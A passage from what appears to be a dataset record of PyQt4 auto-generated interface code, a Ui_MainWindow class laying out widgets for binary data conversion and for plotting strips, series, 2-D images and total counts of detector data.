sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy().\n hasHeightForWidth())\n self.comboBox_R2.setSizePolicy(sizePolicy)\n self.comboBox_R2.setObjectName(_fromUtf8('comboBox_R2'))\n self.horizontalLayout_3.addWidget(self.comboBox_R2)\n self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy().\n hasHeightForWidth())\n self.plotRangeButton.setSizePolicy(sizePolicy)\n self.plotRangeButton.setObjectName(_fromUtf8('plotRangeButton'))\n self.horizontalLayout_3.addWidget(self.plotRangeButton)\n self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481,\n 29))\n self.horizontalLayoutWidget_7.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_7'))\n self.horizontalLayout_5 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_7)\n self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_5.setObjectName(_fromUtf8('horizontalLayout_5'))\n self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7)\n self.label_8.setObjectName(_fromUtf8('label_8'))\n self.horizontalLayout_5.addWidget(self.label_8)\n self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().\n hasHeightForWidth())\n self.comboBox_2.setSizePolicy(sizePolicy)\n self.comboBox_2.setObjectName(_fromUtf8('comboBox_2'))\n self.horizontalLayout_5.addWidget(self.comboBox_2)\n self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.checkBox.sizePolicy().\n hasHeightForWidth())\n self.checkBox.setSizePolicy(sizePolicy)\n self.checkBox.setObjectName(_fromUtf8('checkBox'))\n self.horizontalLayout_5.addWidget(self.checkBox)\n self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy().\n hasHeightForWidth())\n self.plotImageButton.setSizePolicy(sizePolicy)\n self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotImageButton.setObjectName(_fromUtf8('plotImageButton'))\n self.horizontalLayout_5.addWidget(self.plotImageButton)\n self.clearPlotButton = QtGui.QPushButton(self.groupBox_2)\n self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy().\n hasHeightForWidth())\n self.clearPlotButton.setSizePolicy(sizePolicy)\n self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50))\n self.clearPlotButton.setObjectName(_fromUtf8('clearPlotButton'))\n self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29))\n self.horizontalLayoutWidget.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget'))\n self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget)\n self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout'))\n self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget)\n self.label_9.setObjectName(_fromUtf8('label_9'))\n self.horizontalLayout.addWidget(self.label_9)\n self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().\n hasHeightForWidth())\n self.pushButton.setSizePolicy(sizePolicy)\n self.pushButton.setMinimumSize(QtCore.QSize(80, 15))\n self.pushButton.setObjectName(_fromUtf8('pushButton'))\n self.horizontalLayout.addWidget(self.pushButton)\n self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy().\n hasHeightForWidth())\n self.plotStripsButton.setSizePolicy(sizePolicy)\n self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotStripsButton.setObjectName(_fromUtf8('plotStripsButton'))\n self.horizontalLayout.addWidget(self.plotStripsButton)\n self.verticalLayout.addWidget(self.groupBox_2)\n MainWindow.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(MainWindow)\n self.statusbar.setObjectName(_fromUtf8('statusbar'))\n MainWindow.setStatusBar(self.statusbar)\n self.toolBar = QtGui.QToolBar(MainWindow)\n self.toolBar.setObjectName(_fromUtf8('toolBar'))\n MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)\n self.menuBar = QtGui.QMenuBar(MainWindow)\n self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22))\n self.menuBar.setObjectName(_fromUtf8('menuBar'))\n MainWindow.setMenuBar(self.menuBar)\n self.actionOpen = QtGui.QAction(MainWindow)\n self.actionOpen.setVisible(True)\n self.actionOpen.setObjectName(_fromUtf8('actionOpen'))\n self.actionQuit = QtGui.QAction(MainWindow)\n self.actionQuit.setObjectName(_fromUtf8('actionQuit'))\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n MainWindow.setWindowTitle(_translate('MainWindow', 'MainWindow', None))\n self.groupBox_3.setTitle(_translate('MainWindow', 'PLOT WINDOW', None))\n self.groupBox.setTitle(_translate('MainWindow',\n ' BINARY DATA CONVERSION', None))\n self.label_7.setText(_translate('MainWindow', ' OUTPUT FILE ', None))\n self.browserButton_7.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_7.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.label_11.setText(_translate('MainWindow', ' DECODER FILE', None))\n self.browserButton.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_3.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\qtGSD\\\\gsd_parse.out', None))\n self.label_12.setText(_translate('MainWindow', ' INPUT FILE ',\n None))\n self.browserButton_3.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_5.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.runButton.setText(_translate('MainWindow', 'Run', None))\n self.groupBox_2.setTitle(_translate('MainWindow', ' PLOT DATA', None))\n self.label_3.setText(_translate('MainWindow', ' DATA FILE ', None))\n self.browserButton_4.setText(_translate('MainWindow', 'Browse', None))\n self.loadButton.setText(_translate('MainWindow', 'Load', None))\n self.filePathEdit_4.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.label_4.setText(_translate('MainWindow', ' PLOT STRIP ', None))\n self.plotButton.setText(_translate('MainWindow', 'Plot', None))\n self.label_5.setText(_translate('MainWindow', ' PLOT SERIES', None))\n self.label.setText(_translate('MainWindow', 'to', None))\n self.plotRangeButton.setText(_translate('MainWindow', 'Plot', None))\n self.label_8.setText(_translate('MainWindow',\n ' PLOT SPECTRA AS 2-D IMAGE', None))\n self.checkBox.setText(_translate('MainWindow', 'Log', None))\n self.plotImageButton.setText(_translate('MainWindow', 'Plot Image',\n None))\n self.clearPlotButton.setText(_translate('MainWindow', 'Clear', None))\n self.label_9.setText(_translate('MainWindow',\n ' PLOT TOTAL COUNTS vs STRIP', None))\n self.pushButton.setText(_translate('MainWindow', 'Update', None))\n self.plotStripsButton.setText(_translate('MainWindow',\n 'Plot Strips', None))\n self.toolBar.setWindowTitle(_translate('MainWindow', 'toolBar', None))\n self.actionOpen.setText(_translate('MainWindow', 'Open', None))\n self.actionQuit.setText(_translate('MainWindow', 'Quit', None))\n", "step-5": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'qtGSD_DESIGN.ui'\n#\n# Created by: PyQt4 UI code generator 4.11.4\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_MainWindow(object):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(_fromUtf8(\"MainWindow\"))\n MainWindow.resize(661, 728)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(MainWindow.sizePolicy().hasHeightForWidth())\n MainWindow.setSizePolicy(sizePolicy)\n MainWindow.setMinimumSize(QtCore.QSize(100, 100))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n MainWindow.setFont(font)\n MainWindow.setAutoFillBackground(False)\n MainWindow.setTabShape(QtGui.QTabWidget.Rounded)\n self.centralwidget = QtGui.QWidget(MainWindow)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().hasHeightForWidth())\n self.centralwidget.setSizePolicy(sizePolicy)\n self.centralwidget.setMinimumSize(QtCore.QSize(100, 100))\n self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000))\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget)\n self.verticalLayout.setObjectName(_fromUtf8(\"verticalLayout\"))\n self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().hasHeightForWidth())\n self.groupBox_3.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_3.setFont(font)\n self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.groupBox_3.setAutoFillBackground(True)\n self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)\n self.groupBox_3.setObjectName(_fromUtf8(\"groupBox_3\"))\n self.gridLayout = QtGui.QGridLayout(self.groupBox_3)\n self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint)\n self.gridLayout.setObjectName(_fromUtf8(\"gridLayout\"))\n self.MainVertLayout = QtGui.QVBoxLayout()\n self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize)\n self.MainVertLayout.setContentsMargins(-1, 10, -1, -1)\n self.MainVertLayout.setSpacing(0)\n self.MainVertLayout.setObjectName(_fromUtf8(\"MainVertLayout\"))\n self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1)\n self.verticalLayout.addWidget(self.groupBox_3)\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().hasHeightForWidth())\n self.groupBox.setSizePolicy(sizePolicy)\n self.groupBox.setMinimumSize(QtCore.QSize(100, 200))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox.setFont(font)\n self.groupBox.setWhatsThis(_fromUtf8(\"\"))\n self.groupBox.setObjectName(_fromUtf8(\"groupBox\"))\n self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594, 32))\n self.horizontalLayoutWidget_6.setObjectName(_fromUtf8(\"horizontalLayoutWidget_6\"))\n self.horizontalLayout_9 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_6)\n self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_9.setObjectName(_fromUtf8(\"horizontalLayout_9\"))\n self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6)\n self.label_7.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_7.setFont(font)\n self.label_7.setObjectName(_fromUtf8(\"label_7\"))\n self.horizontalLayout_9.addWidget(self.label_7)\n self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6)\n self.browserButton_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy().hasHeightForWidth())\n self.browserButton_7.setSizePolicy(sizePolicy)\n self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_7.setObjectName(_fromUtf8(\"browserButton_7\"))\n self.horizontalLayout_9.addWidget(self.browserButton_7)\n self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6)\n self.filePathEdit_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy().hasHeightForWidth())\n self.filePathEdit_7.setSizePolicy(sizePolicy)\n self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_7.setObjectName(_fromUtf8(\"filePathEdit_7\"))\n self.horizontalLayout_9.addWidget(self.filePathEdit_7)\n self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32))\n self.horizontalLayoutWidget_9.setObjectName(_fromUtf8(\"horizontalLayoutWidget_9\"))\n self.horizontalLayout_10 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_9)\n self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_10.setObjectName(_fromUtf8(\"horizontalLayout_10\"))\n self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9)\n self.label_11.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_11.setFont(font)\n self.label_11.setObjectName(_fromUtf8(\"label_11\"))\n self.horizontalLayout_10.addWidget(self.label_11)\n self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9)\n self.browserButton.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton.sizePolicy().hasHeightForWidth())\n self.browserButton.setSizePolicy(sizePolicy)\n self.browserButton.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton.setObjectName(_fromUtf8(\"browserButton\"))\n self.horizontalLayout_10.addWidget(self.browserButton)\n self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9)\n self.filePathEdit_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy().hasHeightForWidth())\n self.filePathEdit_3.setSizePolicy(sizePolicy)\n self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_3.setObjectName(_fromUtf8(\"filePathEdit_3\"))\n self.horizontalLayout_10.addWidget(self.filePathEdit_3)\n self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592, 32))\n self.horizontalLayoutWidget_10.setObjectName(_fromUtf8(\"horizontalLayoutWidget_10\"))\n self.horizontalLayout_11 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_10)\n self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_11.setObjectName(_fromUtf8(\"horizontalLayout_11\"))\n self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10)\n self.label_12.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_12.setFont(font)\n self.label_12.setObjectName(_fromUtf8(\"label_12\"))\n self.horizontalLayout_11.addWidget(self.label_12)\n self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10)\n self.browserButton_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy().hasHeightForWidth())\n self.browserButton_3.setSizePolicy(sizePolicy)\n self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_3.setObjectName(_fromUtf8(\"browserButton_3\"))\n self.horizontalLayout_11.addWidget(self.browserButton_3)\n self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy().hasHeightForWidth())\n self.filePathEdit_5.setSizePolicy(sizePolicy)\n self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_5.setObjectName(_fromUtf8(\"filePathEdit_5\"))\n self.horizontalLayout_11.addWidget(self.filePathEdit_5)\n self.runButton = QtGui.QPushButton(self.groupBox)\n self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.runButton.sizePolicy().hasHeightForWidth())\n self.runButton.setSizePolicy(sizePolicy)\n self.runButton.setMinimumSize(QtCore.QSize(80, 50))\n self.runButton.setIconSize(QtCore.QSize(24, 24))\n self.runButton.setObjectName(_fromUtf8(\"runButton\"))\n self.verticalLayout.addWidget(self.groupBox)\n self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().hasHeightForWidth())\n self.groupBox_2.setSizePolicy(sizePolicy)\n self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_2.setFont(font)\n self.groupBox_2.setAutoFillBackground(True)\n self.groupBox_2.setObjectName(_fromUtf8(\"groupBox_2\"))\n self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32))\n self.horizontalLayoutWidget_4.setObjectName(_fromUtf8(\"horizontalLayoutWidget_4\"))\n self.horizontalLayout_6 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_4)\n self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_6.setObjectName(_fromUtf8(\"horizontalLayout_6\"))\n self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4)\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8(\"label_3\"))\n self.horizontalLayout_6.addWidget(self.label_3)\n self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy().hasHeightForWidth())\n self.browserButton_4.setSizePolicy(sizePolicy)\n self.browserButton_4.setObjectName(_fromUtf8(\"browserButton_4\"))\n self.horizontalLayout_6.addWidget(self.browserButton_4)\n self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.loadButton.sizePolicy().hasHeightForWidth())\n self.loadButton.setSizePolicy(sizePolicy)\n self.loadButton.setObjectName(_fromUtf8(\"loadButton\"))\n self.horizontalLayout_6.addWidget(self.loadButton)\n self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy().hasHeightForWidth())\n self.filePathEdit_4.setSizePolicy(sizePolicy)\n self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30))\n self.filePathEdit_4.setObjectName(_fromUtf8(\"filePathEdit_4\"))\n self.horizontalLayout_6.addWidget(self.filePathEdit_4)\n self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29))\n self.horizontalLayoutWidget_2.setObjectName(_fromUtf8(\"horizontalLayoutWidget_2\"))\n self.horizontalLayout_2 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_2)\n self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_2.setObjectName(_fromUtf8(\"horizontalLayout_2\"))\n self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label_4.sizePolicy().hasHeightForWidth())\n self.label_4.setSizePolicy(sizePolicy)\n self.label_4.setObjectName(_fromUtf8(\"label_4\"))\n self.horizontalLayout_2.addWidget(self.label_4)\n self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().hasHeightForWidth())\n self.comboBox.setSizePolicy(sizePolicy)\n self.comboBox.setObjectName(_fromUtf8(\"comboBox\"))\n self.horizontalLayout_2.addWidget(self.comboBox)\n self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotButton.sizePolicy().hasHeightForWidth())\n self.plotButton.setSizePolicy(sizePolicy)\n self.plotButton.setObjectName(_fromUtf8(\"plotButton\"))\n self.horizontalLayout_2.addWidget(self.plotButton)\n self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481, 29))\n self.horizontalLayoutWidget_3.setObjectName(_fromUtf8(\"horizontalLayoutWidget_3\"))\n self.horizontalLayout_3 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_3)\n self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_3.setObjectName(_fromUtf8(\"horizontalLayout_3\"))\n self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label_5.setObjectName(_fromUtf8(\"label_5\"))\n self.horizontalLayout_3.addWidget(self.label_5)\n self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy().hasHeightForWidth())\n self.comboBox_R1.setSizePolicy(sizePolicy)\n self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0))\n self.comboBox_R1.setObjectName(_fromUtf8(\"comboBox_R1\"))\n self.horizontalLayout_3.addWidget(self.comboBox_R1)\n self.label = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label.setEnabled(False)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth())\n self.label.setSizePolicy(sizePolicy)\n self.label.setMinimumSize(QtCore.QSize(30, 0))\n self.label.setMaximumSize(QtCore.QSize(30, 29))\n font = QtGui.QFont()\n font.setBold(True)\n font.setItalic(True)\n font.setUnderline(False)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setAutoFillBackground(True)\n self.label.setLineWidth(5)\n self.label.setAlignment(QtCore.Qt.AlignCenter)\n self.label.setObjectName(_fromUtf8(\"label\"))\n self.horizontalLayout_3.addWidget(self.label)\n self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy().hasHeightForWidth())\n self.comboBox_R2.setSizePolicy(sizePolicy)\n self.comboBox_R2.setObjectName(_fromUtf8(\"comboBox_R2\"))\n self.horizontalLayout_3.addWidget(self.comboBox_R2)\n self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy().hasHeightForWidth())\n self.plotRangeButton.setSizePolicy(sizePolicy)\n self.plotRangeButton.setObjectName(_fromUtf8(\"plotRangeButton\"))\n self.horizontalLayout_3.addWidget(self.plotRangeButton)\n self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481, 29))\n self.horizontalLayoutWidget_7.setObjectName(_fromUtf8(\"horizontalLayoutWidget_7\"))\n self.horizontalLayout_5 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_7)\n self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_5.setObjectName(_fromUtf8(\"horizontalLayout_5\"))\n self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7)\n self.label_8.setObjectName(_fromUtf8(\"label_8\"))\n 